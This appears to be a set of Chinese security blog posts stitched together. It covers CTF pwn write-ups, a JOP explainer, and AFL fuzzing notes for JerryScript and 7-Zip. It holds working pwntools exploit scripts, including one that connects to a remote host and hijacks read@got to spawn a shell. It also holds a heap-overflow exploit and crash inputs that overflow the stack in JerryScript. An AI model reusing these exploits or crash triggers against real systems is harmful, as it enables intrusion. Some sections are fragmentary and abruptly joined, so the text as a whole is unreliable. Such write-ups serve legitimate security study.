__NR_readv ; pop rax pop rdi popf push rsp ; pop rsi push 1 ; pop rdx syscall push __NR_writev ; pop rax push 1 ; pop rdi syscall """) pause() io.send(payload) pause() io.send(cyclic(0xf)) io.interactive()mvmps参考软件系统安全赛 - vm。00000000 struct __attribute__((packed)) __attribute__((aligned(1))) VM // sizeof=0x49 00000000 { 00000000 char *vmcode; 00000008 int pc; 0000000C int field_C; 00000010 __int64 regs[6]; 00000040 int64_t sp; 00000048 BYTE field_48; 00000049 };SUB SP 时栈指针下溢，PUSH 和 POP 操作变成 ELF 几乎任意地址读写。不是 PIE，劫持 GOT 即可。读取 read@got 低 4 字节，减去偏移得到 system 地址，将其写回 read@got 低 4 字节，内存中写入 "sh"，执行 read 并传入首个参数为 "sh" 地址。指令有四种格式。具体见下方 exp 注释。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './vvmm' # io = process(binary) io = connect('45.40.247.139', 15101) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # gdb.attach(io, 'b *0x401CBF\nb *0x4015AA\nb *0x401CC6\nb *0x402742\nb *0x4025E7\nb *0x4014AF\nb *0x4015CE') def INST(opcode: int, type: int, *args) -> bytes: header = p8(opcode << 2 | type) if type == 0: return header + p8((args[0] & 0xff0000) >> 16) + p8((args[0] & 0xff00) >> 8) + p8(args[0] & 0xff) if type == 1: return header + p8(args[0]) if type == 2: return header + p8(args[0]) + p8(args[1]) if type == 3: return header + p8(args[0]) + p32(args[1]) raise ValueError("Invalid type.") io.sendafter(b'Please input your opcodes:\n', b''.join([ INST(0x24, 0, 0x418), # SUB SP (to read@got) INST(0x20, 1, 0), # read from elf (read@got) INST(0xb, 3, 0, 0xc3a60), # REG SUB (offset of read & system) INST(0x1f, 1, 0), # write to elf (system) INST(0x3, 3, 1, 0x6873), # LOAD IMM ("sh") INST(0x25, 0, 0x30), # ADD SP (arbitrary mem) INST(0x1f, 1, 1), # write to elf ("sh") INST(0x3, 3, 0, 0x4050fc), # LOAD IMM (arbitrary mem) INST(0x33, 0, 0), # SYSCALL (read@plt -> system with arg "sh") ])) io.interactive()
JOP 更像是对 ROP 的概念扩充而不是一个新的攻击方式，让我们先来回顾下熟悉的 amd64 ROP。在 ROP 中，我们大概可以将 gadgets 分为三类：传递参数或做准备的 gadgets（例如 pop rdi）、收集函数返回值的 gadgets（例如 mov rdi, rax）执行有意义操作的 gadgets（例如 system、orw、syscall、shellcode）。控制 ROP 本身的 gadgets（例如 ret、leave 栈迁移）以上 gadgets 通过 ret 指令和 rsp 寄存器串联起来。为了引出 JOP，我想到了一个好方法，一个“分解”x86 中较复杂指令的游戏：（下文 reg 表示任意通用寄存器，tmp 表示内部临时寄存器。）我们来“分解”pop reg 指令，它“等效”于 mov reg, qword ptr [rsp]; add rsp, 8。（我们忽略了对标志位的影响，如果考虑的话第二个指令应为 lea rsp, [rsp + 8]。）JOP 链的位置完全可以不在栈上，最终我们可以提炼出：mov reg1, qword ptr [reg2 + offset] 或 mov qword ptr [reg2 + offset], reg1（由于有 + offset，我们不需要 add，下同。）这就是 JOP 中类似 ROP 的“传参准备”或“收集结果”gadgets，例如考虑 reg1 是 rdi 的情况。reg2 就是 JOP 链基地址。但是可以看到这并不能构造链式执行。现在我们来“分解”ret 指令，它“等效”于 pop tmp; jmp tmp，由上文进而“展开”为 mov tmp, qword ptr [rsp]; add rsp, 8; jmp tmp，现在我们又提炼出：mov reg1, qword ptr [reg2 + offset] jmp reg1 或 call reg1 或 ...（跳转）我们只需预先在 reg2 + offset 位置布置好下一个 JOP gadget，这就是 JOP 中类似 ROP 的“控制”gadgets。把上述两部分拼起来，我们最终获得了和 ROP 相同的能力，无需与调用栈和函数返回挂钩。
开始之前这段时间本来想入门 Chrome V8，学了一段时间发现 V8 还是太吃操作了……感觉应该先了解下比较简单的 JS 引擎。于是想着先从适合嵌入式设备的轻量 JS 引擎 JerryScript 开始玩起。正好看到 JerryScript 的 Issues 有好多关于漏洞的报告（无人在意说是），那就复现一下 fuzzing 漏洞挖掘吧。源码与编译git clone https://github.com/jerryscript-project/jerryscript cd jerryscript python tools/build.py编译 JerryScript 还是相当简单的，要想 fuzz 它，我们可以直接让 AFL 将文件作为参数传入然后等待崩溃。但是这样的 fuzz 是没有意义的，因为没有经过 AFL instruction。我们需要使用 afl-clang-lto 作为编译器。有关 AFL 的用法和原理，前人之述备矣，我就不赘述了。JerryScript 已经在 tools/build.py 为我们准备好了接入 libfuzzer 的编译选项，而 AFL 支持为 libfuzzer sanitized binary 启用 persistent mode。那么就用现成的就好。CC=afl-clang-lto python tools/build.py --libfuzzer=ON --compile-flag='-Wno-enum-enum-conversion' --strip=OFF CC=afl-clang-lto AFL_LLVM_CMPLOG=1 python tools/build.py --libfuzzer=ON --compile-flag='-Wno-enum-enum -conversion -fsanitize=address' --strip=OFF我们需要添加 -Wno-enum-enum-conversion 编译参数来防止高版本 clang 编译不通过。（如果要用高版本 gcc 编译的话，还需要添加 -Wno-unterminated-string-initialization，因为 jerry-core/ecma/builtin-objects/ecma-builtin-helpers-date.c 中的 day_names_p 和 month_names_p 没有考虑 C-style 字符串字面量 tailing NULL byte 占用的空间。）准备初始 corpus作为实验，我没有考虑太多，选用 test262 作为 JS 样本，去除其中的注释，就直接作为初始 corpus 了。我选用 AFL 作为 fuzzing 引擎。这对于 JS 引擎而言，效果不会好，但本来也只是实验性质的尝试。AFL 在 fuzz 过程中会根据这些文件不断通过各种策略构造新的输入，收集对于每个输入程序执行后的覆盖率，继续构造新的输入。import os import shutil import subprocess TEST262_REPO = "https://github.com/tc39/test262.git" CLONE_DIR = "test262" CORPUS_DIR = "corpus" NUM_FILES = 100 # Adjust how many files you want # Directories considered ES5 core tests ES5_TEST_DIRS = [ "test/built-ins", "test/language", "test/statements", "test/annexB" ] def clone_test262(): if not os.path.exists(CLONE_DIR): print("Cloning test262 repo...") subprocess.run(["git", "clone", TEST262_REPO], check=True) else: print("test262 repo already cloned.") def gather_es5_js_files(): js_files = [] for root, _, files in os.walk(CLONE_DIR): # Check if the file is inside one of the ES5 directories if any(es5_dir in root.replace("\\", "/") for es5_dir in ES5_TEST_DIRS): for file in files: if file.endswith(".js"): js_files.append(os.path.join(root, file)) return js_files def prepare_corpus(js_files): os.makedirs(CORPUS_DIR, exist_ok=True) selected_files = js_files[:NUM_FILES] print(f"Copying {len(selected_files)} files to corpus directory...") existing_names = set() for path in selected_files: filename = os.path.basename(path) name, ext = os.path.splitext(filename) # Avoid duplicates by renaming with suffix if needed original_filename = filename suffix = 1 while filename in existing_names: filename = f"{name}_{suffix}{ext}" suffix += 1 existing_names.add(filename) shutil.copy(path, os.path.join(CORPUS_DIR, filename)) print("Corpus preparation complete.") if __name__ == "__main__": clone_test262() all_js_files = gather_es5_js_files() if len(all_js_files) == 0: print("No ES5 JS files found in test262 repo!") else: prepare_corpus(all_js_files)fuzzingafl-fuzz -i input -o output -b 2 -a text -M master -- ./jerry-libfuzzer AFL_USE_ASAN=1 afl-fuzz -i input -o output -b 4 -a text -S sanitizer -c 0 -l 2AT -P exploit -p exploit -- ./jerry-libfuzzer很快就发生了 crash。可以看到 AFL 构造的 JS 输入和乱码真的没区别了。也就是说 JerryScript 在语法分析甚至词法分析阶段就可能崩溃，发生段错误。结果处理虽然听起来有点离谱，但是挂机一天后 AFL 收集到了 543 个 crashes。但其中大多数都是 null pointer deref。所以我决定简单筛选一下无效的 crashes。使用 Python gdb 模块批量调试 crash inputs，段错误后先提取产生段错误位置的汇编指令，找到解引用 [reg + offset]（寄存器间接寻址）处使用的寄存器，然后再让 gdb 查询这个寄存器的值，如果值为很大的数则将这个 input 另存起来。import gdb import os import shlex import shutil import re from pathlib import Path # ====== Configuration ====== CRASH_DIR = Path("./crashes") VALID_DIR = Path("./valid") LOG_DIR = Path("./logs") MODE = "copy" # "copy" or "link" PATTERN = "cafebabe" # if NOT found in crash bt/output -> save to VALID_DIR USE_STDIN = False # If True, run "run < file" to feed the file on stdin # Note: timeouts are not enforced inside gdb-embedded script; if you need per-run # timeouts, run gdb under an external timeout wrapper (e.g. GNU timeout) or use # the external/python+subprocess approach. # =========================== CRASH_DIR = CRASH_DIR.resolve() VALID_DIR = VALID_DIR.resolve() LOG_DIR = LOG_DIR.resolve() x86_64_registers = [ "rax", "rbx", "rcx", "rdx", "rsp", "rbp", "rsi", "rdi", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15" ] for d in (VALID_DIR, LOG_DIR): d.mkdir(parents=True, exist_ok=True) # helper: unique destination path (avoid overwriting) def unique_dest(dest: Path) -> Path: if not dest.exists(): return dest i = 1 while True: candidate = dest.with_name(dest.name + f".{i}") if not candidate.exists(): return candidate i += 1 def install_file(src: Path) -> Path: dest = VALID_DIR / src.name dest = unique_dest(dest) if MODE == "link": # try symlink to absolute path try: os.symlink(str(src.resolve()), str(dest)) except OSError: shutil.copy2(src, dest) else: shutil.copy2(src, dest) return dest CRASH_PATTERNS = [ r"Program received signal", r"SIGSEGV", r"SIGABRT", r"Segmentation fault", r"SIGILL", r"SIGFPE", r"^#0", # backtrace frame 0 r"AddressSanitizer", r"ASAN:", r"terminate called", ] _crash_re = re.compile("|".join("(?:" + p + ")" for p in CRASH_PATTERNS), flags=re.I | re.M) def detect_crash(text: str) -> bool: return bool(_crash_re.search(text)) # Turn off pagination so gdb.execute(..., to_string=True) returns full text try: gdb.execute("set pagination off") except Exception: pass # The program to run is the one passed with --args ./jerry when launching gdb. # gdb already knows the executable from --args; we will just set program args each run. files = sorted([p for p in CRASH_DIR.iterdir() if p.is_file()]) summary = {"processed": 0, "crashes": 0, "saved": 0, "no_crash": 0} for infile in files: summary["processed"] += 1 name = infile.name logfile = LOG_DIR / (name + ".log") print("---- Processing:", name) # Set args or use stdin redirection if USE_STDIN: # clear any args (not necessary, but explicit) try: gdb.execute("set args") except Exception: pass run_cmd = "run < " + shlex.quote(str(infile)) else: # set argv for the debugged program to the filename # (if your program accepts multiple args, adjust as needed) try: gdb.execute("set args " + shlex.quote(str(infile))) except Exception: pass run_cmd = "run" # Execute run and capture textual output try: out_run = gdb.execute(run_cmd, to_string=True) except gdb.error as e: # gdb.error may be thrown if the program exited in a way gdb treats specially; # capture the string representation and continue to collect bt below. out_run = str(e) # After run, collect a backtrace (best-effort) try: out_bt = gdb.execute("bt full", to_string=True) except Exception: try: out_bt = gdb.execute("bt", to_string=True) except Exception: out_bt = "" combined = out_run + "\n" + out_bt # Save log with logfile.open("w", encoding="utf-8", errors="replace") as f: f.write("COMMAND: " + run_cmd + "\n\n") f.write("=== RUN OUTPUT ===\n") f.write(out_run + "\n\n") f.write("=== BACKTRACE ===\n") f.write(out_bt + "\n") # Detect crash if detect_crash(combined): summary["crashes"] += 1 crash_line = gdb.execute('x/i $rip', to_string=True) valid = False if "[" not in crash_line: continue for reg in x86_64_registers: if reg in crash_line[crash_line.index("["):crash_line.index("]")] and int(gdb.execute(f"p ${reg}", to_string=True).split(' ')[-1], 16) > 8: valid = True if not valid: continue print(" -> Valid crash detected. Log:", logfile) if PATTERN.lower() in combined.lower(): print(f" -> pattern '{PATTERN}' FOUND in backtrace/output. Not saving.") else: dest = install_file(infile) summary["saved"] += 1 print(f" -> pattern '{PATTERN}' NOT found. Saved to:", dest) else: summary["no_crash"] += 1 print(" -> No crash detected. Log:", logfile) # Attempt to kill inferior if still running so we can restart cleanly next time try: gdb.execute("kill", to_string=True) except Exception: # ignore; keep going pass # Final summary print("\nDone.") print("Summary:") for k, v in summary.items(): print(f" {k}: {v}") print("Logs:", LOG_DIR) print("Valid candidates:", VALID_DIR) # End of gdb_run.py经过筛选后，我发现了一个很有意思的崩溃：$ ./jerry-asan /storage/jsfuzz/valid/id:000005,sig:11,src:005743,time:469380,execs:12877861,op:havo c,rep:4 ================================================================= ==1365920==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7b6b9b700098 at pc 0x558aff052c4d bp 0x7ffcb9f80e60 sp 0x7ffcb9f80e50 READ of size 1 at 0x7b6b9b700098 thread T0 #0 0x558aff052c4c in scanner_create_variables (/storage/jsfuzz/jerry-asan+0x78c4c) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) #1 0x558aff0551bc in parser_parse_function_arguments.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x7b1bc) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) #2 0x558aff0585c8 in parser_parse_function (/storage/jsfuzz/jerry-asan+0x7e5c8) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) #3 0x558aff0a26bc in lexer_construct_function_object (/storage/jsfuzz/jerry-asan+0xc86bc) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) #4 0x558aff0a6a77 in parser_parse_class (/storage/jsfuzz/jerry-asan+0xcca77) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) #5 0x558aff0b6198 in parser_parse_statements (/storage/jsfuzz/jerry-asan+0xdc198) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) #6 0x558aff057d49 in parser_parse_source.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x7dd49) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) #7 0x558aff008764 in jerry_parse_common.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x2e764) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) #8 0x558aff0bf0bc in jerryx_source_parse_script (/storage/jsfuzz/jerry-asan+0xe50bc) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) #9 0x558afeff6be3 in main (/storage/jsfuzz/jerry-asan+0x1cbe3) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) #10 0x7f6b9da27674 (/usr/lib/libc.so.6+0x27674) (BuildId: 4fe011c94a88e8aeb6f2201b9eb369f42b4a1e9e) #11 0x7f6b9da27728 in __libc_start_main (/usr/lib/libc.so.6+0x27728) (BuildId: 4fe011c94a88e8aeb6f2201b9eb369f42b4a1e9e) #12 0x558afeff72e4 in _start (/storage/jsfuzz/jerry-asan+0x1d2e4) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) Address 0x7b6b9b700098 is located in stack of thread T0 at offset 152 in frame #0 0x558aff055ffe in parser_parse_source.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x7bffe) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) This frame has 6 object(s): [32, 33) 'flags' (line 2041) [48, 49) 'flags' (line 2063) [64, 80) 'branch' (line 2253) [96, 112) 'literal' [128, 152) 'scanner_info_end' (line 2115) <== Memory access at offset 152 overflows this variable [192, 792) 'context' (line 1988) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/storage/jsfuzz/jerry-asan+0x78c4c) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) in scanner_create_variables Shadow bytes around the buggy address: 0x7b6b9b6ffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b6b9b6ffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b6b9b6fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b6b9b6fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b6b9b700000: f1 f1 f1 f1 01 f2 01 f2 00 00 f2 f2 f8 f8 f2 f2 =>0x7b6b9b700080: 00 00 00[f2]f2 f2 f2 f2 00 00 00 00 00 00 00 00 0x7b6b9b700100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b6b9b700180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b6b9b700200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b6b9b700280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b6b9b700300: 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1365920==ABORTING这个输入是：class MyError extends Error {7667111111111111111;;;;;;;static { throwased = true; d = trsert.s}.defeuse(resourcd = true; new MyError(); }); stack.defer(function () {}); assert.throws(MyError, functction (# { Csu 12), .defer(function41024448kTtrspose()& });还有一个输入会使得用于寄存器间接寻址的寄存器 RDI 地址值变为 RDI 0x646573610a20650a ('\ne \nased')，RDI 内容是输入本身的一部分。不过很有意思的是它并不会触发 Address Sanitizer。说明 ASAN 很可能会改变某些调用栈帧的内存布局。（我手动 trim 了一下，不然这个输入真的又长又难看。）class MyE{7667;;667;;sta;7;;667;;s;;#;statTtra;sta;7;;667;;;;;;;;s;;#;statTtra;;';s;;#at;#;statTtra;;';s;;#atTtra;;#;;sta;;; e ased = class{76671; 6 ; s;;;;;;;;;;static ase 6 e ased = class{76671; 6 ; s;;;;;;;;;;static ased6671; 6 e ased = class{76671; 6 ; s;;;;;;;;;;static as}}}}|}}}Of(}}|}csleO}}}}|}}}Of}}|}02000(1167E0Y.u(3}}}}}}}}}PisleO}}}}|}}}Of}}|}02000(1167E000002000(11676cY.u(Pisle}}}}PisleO}}}}|}}}OfInfinityaa, new .u9PisleOaaaaa!pa}}}}}}PisleO}}}}|}}}Of另外有很多与它相似的 crash inputs，可以很明显发现 JerryScript 对于 JS 类私有字段名的处理有很大问题。总结其实这是一次没什么意义的 fuzzing，fuzz 类似编译器的软件应该使用结构化的 fuzzer，而不是 AFL++ 这样基本依靠字节随机变异的 fuzzer，不然连语法检查都过不了很难进一步挖掘漏洞。之后我可能再尝试一下 fuzzilli，或者考虑自己手写一个 fuzzer（画大饼 ing）。最近初入真实世界的二进制漏洞利用，看到了太多 AI 伪造 exploits 和毫无意义的“高危”CVE。各种漏洞挖掘有高到令人振奋的 bug bounty，但很少有组织愿意奖励 bug patches。这是否是安全研究与软件开发之间的脱节？（现实是许多开发者都反感这些夸张甚至虚假的漏洞报告。）
struct PlayBook { int flags; // &1=used, &2=cmd, &4=note int sub_ids[10]; char note[0x200]; // 0x2c };nesting_depth 在结束后不会置零，创建和结束前也不会检查是不是 0。创建 playbook 的时候不写 ENDSTEP 的话 nesting_depth 就会大于 0 而且会保留到下次创建时。new_playbook 创建 playbook 处理嵌套时需要将 id 暂存在数组中，且该数组另有一个元素指针。用户输入读取长度 buf_size 是一个栈上的变量，与暂存 id 数组低地址相邻。（这里的变量分配很反常，大概是用了在栈上的结构体，强制改变了栈上变量布局。）这样可以改 buf_size 为一个 index 值，从而溢出 struct PlayBook 里的 char note[0x200] 改到高地址相邻 step 的 flags 和 note。先创建一大堆没用的 step 把 index 扩大到超过 0x205。Exp:# 1 ~ 575 (576) for _ in range(0x120): io.sendlineafter(b'5. Quit\n', b'2') # new io.sendlineafter(b'entry.\n', f'''STEP note: sh ENDSTEP '''.encode()) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'569') # id: 569 (570) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'571') # id: 571 (572) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'573') # id: 573 (574) io.sendlineafter(b'5. Quit\n', b'2') # new 569 570 571 io.sendlineafter(b'entry.\n', f'''STEP STEP ''') io.sendlineafter(b'5. Quit\n', b'2') # new 572 573 574 io.sendlineafter(b'entry.\n', f'''ENDSTEP ENDSTEP STEP STEP note: ''' + '\x03' * (0x204 + 40) + 'sh\n')我没有精确计算应该先分配多少 playbook，exp 里 0x120 之类的数字没有特别含义。不成对的 STEP、ENDSTEP 也许只需要一个，解题时我求稳将 nesting_depth 设置为 2。
第一次尝试使用 archlinux 的 p7zip PKGBULD，修改编译器为 afl-clang-lto(++) 。编译时发现一个函数指针类型转换的报错，用 -Wno-cast-function-type-strict 参数来抑制。准备了三个随便的 7z 文件，放进 input 文件夹直接开始。（@@ 表示输入文件目录，而不是从 stdin 输入）AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@结果：🈚️（其实之后的所有尝试都没结果💦）第二次尝试准备了很多只有一个或几个文件，大小仅 100+ 字节的 7z 文件作为输入。AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y结果：覆盖率很快达到和第一次同样水平。第三次尝试了解到 7z 格式有 CRC 校验，估计大多数 fuzz 输入都死在校验上了。patch 源码去除校验：（应该使用 FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION 宏）static inline bool TestStartCrc(const Byte *p) { (void)p; // 抑制 -Wunused-parameter return true; } if (CrcCalc(buffer2, nextHeaderSize_t) != nextHeaderCRC) ; if (CrcCalc(data, unpackSize) != folders.FolderCRCs.Vals[i]) ;添加 -fsanitize=address -g 编译选项。添加 -so 运行选项，这样不会在目录里拉💩。本来想加上 -si 参数从 stdin 输入压缩文件，应该可以大幅提升性能。但是 7z 格式竟然不支持，原因是 7z 有一部分文件头在文件末尾，解压前必须先读取。（意义不明...）把整个 fuzzing 项目文件夹放在 tmpfs 里应该会更快吧，虽然 afl 官网教程推荐 ext2 + noatime。因为现在基本是在实验，暂时懒得配置 ext2 环境了。AFL_USE_ASAN=1 AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y -so结果：本来不抱什么希望，睡了个午觉起来竟然就真的收集到了很多 crashes，但都是 OOM，没什么实际意义。（用 KDE Ark 打开其中某个 input，直接 coredump 了。）==589143==ERROR: AddressSanitizer: requested allocation size 0x207ffffffffffff (0x208000000001000 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0) #0 0x6048688567e2 in operator new[](unsigned long) (/tmp/7zfuzz/7zr+0x1fa7e2) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d) #1 0x604868c0e1e0 in CBuffer<unsigned char>::Alloc(unsigned long) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/../../Common/../../Common/MyBuffer.h:72:18 #2 0x604868c1f5bd in NArchive::N7z::CInArchive::ReadAndDecodePackedStreams(unsigned long, unsigned long&, CObjectVector<CBuffer<unsigned char>>&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1187:10 #3 0x604868c280ce in NArchive::N7z::CInArchive::ReadDatabase2(NArchive::N7z::CDbEx&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1705:28 #4 0x604868be4ddd in NArchive::N7z::CInArchive::ReadDatabase(NArchive::N7z::CDbEx&, ICryptoGetTextPassword*, bool&, bool&, UString&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zIn.cpp:1743:25 #5 0x604868be4ddd in NArchive::N7z::CHandler::Open(IInStream*, unsigned long const*, IArchiveOpenCallback*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../Archive/7z/7zHandler.cpp:708:30 #6 0x604868dc6db4 in OpenArchiveSpec(IInArchive*, bool, IInStream*, unsigned long const*, IArchiveOpenCallback*, IArchiveExtractCallback*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:1599:3 #7 0x604868dbc2ba in CArc::OpenStream2(COpenOptions const&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:2744:26 #8 0x604868dc9229 in CArc::OpenStream(COpenOptions const&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3024:3 #9 0x604868dcb6c1 in CArc::OpenStreamOrFile(COpenOptions&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3119:17 #10 0x604868dcda76 in CArchiveLink::Open(COpenOptions&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3295:28 #11 0x604868dd277e in CArchiveLink::Open2(COpenOptions&, IOpenCallbackUI*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3419:17 #12 0x604868d49f6d in CArchiveLink::Open3(COpenOptions&, IOpenCallbackUI*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/OpenArchive.cpp:3487:17 #13 0x604868d49f6d in CArchiveLink::Open_Strict(COpenOptions&, IOpenCallbackUI*) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/../Common/OpenArchive.h:437:22 #14 0x604868d49f6d in Extract(CCodecs*, CObjectVector<COpenType> const&, CRecordVector<int> const&, CObjectVector<UString>&, CObjectVector<UString>&, NWildcard::CCensorNode const&, CExtractOptions const&, IOpenCallbackUI*, IExtractCallbackUI*, IFolderArchiveExtractCallback*, IHashCalc*, UString&, CDecompressStat&) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Common/Extract.cpp:422:30 #15 0x604868e55d25 in Main2(int, char**) /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Console/Main.cpp:1378:21 #16 0x604868e68411 in main /usr/src/debug/7zip/CPP/7zip/Bundles/Alone7z/../../UI/Console/MainAr.cpp:132:11 #17 0x7bc23b33f6b4 in __libc_start_call_main /usr/src/debug/glibc/glibc/csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #18 0x7bc23b33f768 in __libc_start_main /usr/src/debug/glibc/glibc/csu/../csu/libc-start.c:360:3 #19 0x604868717a24 in _start (/tmp/7zfuzz/7zr+0xbba24) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d) ==589143==HINT: if you don't care about these errors you may set allocator_may_return_null=1 SUMMARY: AddressSanitizer: allocation-size-too-big (/tmp/7zfuzz/7zr+0x1fa7e2) (BuildId: 8450a6b1d6712a80c42046efedb6d74eb798c38d) in operator new[](unsigned long) ==589143==ABORTING这触发原理我还真没看明白，不过 7z 文件格式里有不少直接由用户控制长度的字段，出现这种情况也算正常吧。第四次尝试把 CPP/Common/MyBuffer.h 里内存分配相关的函数用 __attribute__((no_sanitize("address"))) 标记，这样就不会被 ASAN 追踪了。由于这些内存分配函数本来就是热点，所以性能提升了不少，也不会报无意义的 OOM 错误，而且应该不会错过什么漏洞（毕竟真的只是 new[] 而已）。刚才发现 afl-llvm-cmplog 这个工具，通过插桩记录程序中的比较操作，帮助 afl++ 生成能触发关键路径的输入。要想启用，需要在编译时加上 AFL_LLVM_CMPLOG=1 环境变量，fuzz 时加上参数 -c 0。在面对需要特定文件格式输入（魔法头之类）的 fuzzing 时效果明显。AFL_USE_ASAN=1 AFL_SKIP_CPUFREQ=1 afl-fuzz -i input -o output -- ./7zr x @@ -y -so结果：map density 翻倍了！wget https://www.gstatic.com/webp/gallery/1.webp -O input/1.webp wget https://www.gstatic.com/webp/gallery/2.webp -O input/2.webp wget https://www.gstatic.com/webp/gallery/3.webp -O input/3.webp wget https://www.gstatic.com/webp/gallery/4.webp -O input/4.webp wget https://www.gstatic.com/webp/gallery/5.webp -O input/5.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_01.webp -O input/test_01.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_02.webp -O input/test_02.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_03.webp -O input/test_03.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_04.webp -O input/test_04.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_05.webp -O input/test_05.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_06_lossless.webp -O input/test_06_lossless.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_06_lossy.webp -O input/test_06_lossy.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_07_lossless.webp -O input/test_07_lossless.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_07_lossy.webp -O input/test_07_lossy.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_08_lossless.webp -O input/test_08_lossless.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_08_lossy.webp -O input/test_08_lossy.webp wget https://raw.githubusercontent.com/signalapp/Signal-Android/main/glide-webp/app/src/main/assets/test_09_large.webp -O input/test_09_large.webp第五次尝试AFL_QUIET=1CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --disable-shared2 Master4 AFL_USE_ASAN=1 AFL_USE_UBSAN=1 AFL_USE_CFISAN=16 AFL_LLVM_CMPLOG=1 -l 2AT8 AFL_LLVM_LAF_ALL=110cd CPP/7zip/Bundles/Alone2/ export EXEPTOR_CONFIG=$(pwd)/libexeptor.yaml export EXEPTOR_LOG=$(pwd)/exeptor.log LD_PRELOAD=/tmp/exeptor/build/libexeptor.so make 